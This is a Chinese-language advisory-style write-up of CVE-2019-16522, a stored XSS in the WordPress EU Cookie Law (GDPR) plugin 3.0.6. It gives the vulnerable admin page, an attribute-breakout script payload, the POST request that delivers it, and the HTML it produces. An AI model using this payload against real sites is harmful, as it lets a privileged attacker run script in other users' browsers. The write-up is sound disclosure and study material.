跳转至

CVE-2019-16522 WordPress Plugin - EU Cookie Law (GDPR) 储存型xss

一、漏洞简介

WordPress的3.0.6版eu-cookie-law插件(又称为EU Cookie法(GDPR))容易受到存储XSS的影响,原因是管理区域中几个配置选项的编码不正确以及显示的Cookie同意消息。这会影响“字体颜色”,“背景颜色”和“禁用Cookie”文本。具有高特权的攻击者可以攻击其他用户。

二、漏洞影响

wordpress <= 3.0.6,可能更高

三、复现过程

/wp-admin/options-general.php?page=peadig_eucookie

管理员可以在配置区域为插件设置多个选项。在插入HTML页面之前,大多数都可以正确转义。但是,可以利用三个设置值来插入任意JavaScript和HTML。那些是:

  • 字体颜色( Font Color)
  • 背景颜色 (Background Color)
  • “禁用Cookie”文本 ("Disable Cookie" Text)
  • “ Fontcolor”的值将插入到显示Cookie同意消息的每个页面上。默认情况下,其他两个仅可在管理区域中利用。

以“字体颜色”为例

将字体颜色的值设置为

#FFFFFF"><script></script>

便可以突破HTML属性并插入script包含JavaScript 的标签

post包:

POST /wp-admin/options.php HTTP / 1.1 
[ ... ] 

[ ... ] peadig_eucookie%5 Bfontcolor%5 D = %23FFFFFF%22%3E%3Cscript%3Ealert%281%29%3C / script%3E [...]

这时候我们看一下返回值。

在管理区域中,生成的HTML页面如下所示

<input id="fontcolor" type="text" name="peadig_eucookie[fontcolor]" value="#FFFFFF">
<script></script>
" class="color-field" data-default-color="#ffffff"/>

在带有cookie消息的页面上,有效负载将被多次插入。生成的HTML如下所示

<!-- Eu cookie Law 3.0.6 -->
<div class="pea_cook_wrapper pea_cook_bottomcenter" style="color:#FFFFFF">
    <script></script>
    ;background:rgb(0,0,0);background: rgba(0,0,0,0.85);">